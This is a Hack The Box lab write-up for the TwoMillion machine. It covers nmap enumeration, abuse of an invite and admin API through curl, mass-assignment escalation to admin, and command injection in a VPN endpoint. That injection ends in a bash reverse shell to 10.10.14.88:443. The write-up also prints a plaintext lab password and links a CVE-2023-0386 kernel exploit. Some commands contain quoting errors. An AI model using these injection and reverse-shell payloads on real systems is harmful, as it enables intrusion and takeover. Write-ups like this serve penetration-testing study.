mirror of
https://github.com/cotes2020/chirpy-starter.git
synced 2025-04-21 11:53:27 +10:00
214 lines
5.7 KiB
Markdown
214 lines
5.7 KiB
Markdown
---
|
|
title: HTB - TwoMillion
|
|
date: 2023-06-07 12:17:34 -0400
|
|
categories: [hackthebox , TwoMillion]
|
|
tags: [HackTheBox, API endpoints, API, CVE-2023-0386, nmap, web, rot13, curl,OverlaysFS Fuse]
|
|
image:
|
|
path: /assets/img/post/twomillion/twomillion-card.png
|
|
lqip: data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA
|
|
alt: Hack the Box - TwoMillion.
|
|
---
|
|
|
|
## Box Info
|
|
|
|
| Name | Bizness |
|
|
| :-------------------- | ---------------: |
|
|
| Release Date | 07 Jun, 2023 |
|
|
| OS | Linux |
|
|
| Rated Difficulty | Easy |
|
|
|
|
## Enumeration
|
|
|
|
### Nmap
|
|
|
|
```bash
|
|
nmap -p- --min-rate 5000 -n -sS -vvv -Pn 10.10.11.221 -oG allPorts
|
|
nmap -sCV -p 22,80 10.10.11.221 -oN targeted
|
|
```
|
|
|
|
|
|
|
|
### Resolution DNS
|
|
|
|
```bash
|
|
echo "10.10.11.221 twomillion.htb | sudo tee -a /etc/hosts"
|
|
```
|
|
|
|
|
|
|
|
## Web
|
|
|
|
When hover the mouse over "`here`" show it us the link to goes.
|
|
|
|
|
|
|
|
Looking in dom i found this path from a API and the instruction of how script works
|
|
|
|
|
|
|
|
|
|
|
|
Url decode for read more comfort:
|
|
|
|
```js
|
|
function verifyInviteCode(code){
|
|
var formData = {"code":code};
|
|
$.ajax({
|
|
type: "POST",
|
|
url: '/api/v1/invite/verify',
|
|
dataType: 'json',
|
|
data: formData,
|
|
success: function(response){
|
|
console.log(response);
|
|
},
|
|
error: function(response){
|
|
console.log(response);
|
|
}
|
|
});
|
|
}
|
|
|
|
function makeInviteCode(){
|
|
$.ajax({
|
|
type: "POST",
|
|
url: '/api/v1/invite/how/to/generate',
|
|
dataType: 'json',
|
|
success: function(response){
|
|
console.log(response);
|
|
},
|
|
error: function(response){
|
|
console.log(response);
|
|
}
|
|
});
|
|
}
|
|
```
|
|
|
|
Theres a interesting function called makeInviteCode so we gonna execute this function on console from inspection web.
|
|
|
|
|
|
|
|
If i click in the object it show us something interesting encrypte in `ROT13`
|
|
|
|
|
|
|
|
We can decrypt rot13 with some web page for that
|
|
|
|
|
|
|
|
`"In order to generate the invite code, make a POST request to /api/invite/generate"`
|
|
|
|
```bash
|
|
curl -s -X POST "http://2million.htb/api/v1/invite/generate"
|
|
```
|
|
|
|
With `curl` can send a POST method for generate the invite code.
|
|
|
|
|
|
|
|
And the API it generate us an code in base64, it can decrypt with base64[^code] and use it for registration us web and login.
|
|
|
|
|
|
|
|
|
|
|
|
Looking in the web, I found a path in api/v1
|
|
|
|
|
|
|
|
## API
|
|
|
|
Abusing again the API we send a request in method GET with the Cookie
|
|
|
|
```bash
|
|
`curl -s -X GET "http://2million.htb/api/v1" -H "Cookie: PHPSESSID=avhllptt4vvs1rbocvart3ue9b"`
|
|
```
|
|
|
|
|
|
|
|
```bash
|
|
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json" | jq
|
|
```
|
|
|
|
|
|
|
|
```bash
|
|
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json" -d '{"email": "jack@jack.com"}' | jq
|
|
```
|
|
|
|
|
|
|
|
```bash
|
|
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json" -d '{"email": "jack@jack.com", "is:admin": "True"}' | jq
|
|
```
|
|
|
|
|
|
|
|
```bash
|
|
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json" -d '{"email": "jack@jack.com", "is:admin": "1"}' | jq
|
|
```
|
|
|
|
|
|
|
|
```bash
|
|
curl -s -X GET "http://2million.htb/api/v1/admin/auth" -H "Cookie: PHPSESSID="
|
|
```
|
|
|
|
|
|
|
|
```bash
|
|
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json' -d '{"username": "jack"}' | jq
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
```bash
|
|
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json' -d '{"username": ";whoami;"}'
|
|
```
|
|
|
|
|
|
|
|
```bash
|
|
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json' -d '{"username": ";ls;"}'
|
|
```
|
|
|
|
|
|
|
|
```bash
|
|
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json' -d '{"username": ";bash -c \"bash -i >& /dev/tcp/10.10.14.88/443 0>&1\" #"}'
|
|
```
|
|
|
|
|
|
|
|
```bash
|
|
rlwrap nc -lvnp 443
|
|
```
|
|
|
|
|
|
|
|
Enumerate linux we can see a folder with the name .env this contain a credentials in plane text. We are a www-data so we need
|
|
|
|
|
|
|
|
admin SuperDuperPass123
|
|
|
|
When we login the first appear is mail, this mail is lcoated in /var/mail
|
|
|
|
|
|
|
|
## CVE-2023-0386
|
|
|
|
Well, the mail says everything... Google it.
|
|
|
|
|
|
|
|
Search in google "OverlaysFS Fuse linux kernel and the fisrt poc i found is this `CVE-2023-0386`[^cve]
|
|
|
|
|
|
|
|
ROOT
|
|
|
|
### Source
|
|
|
|
[^code]: <https://www.base64decode.org/>
|
|
[^cve]: <https://github.com/sxlmnwb/CVE-2023-0386> |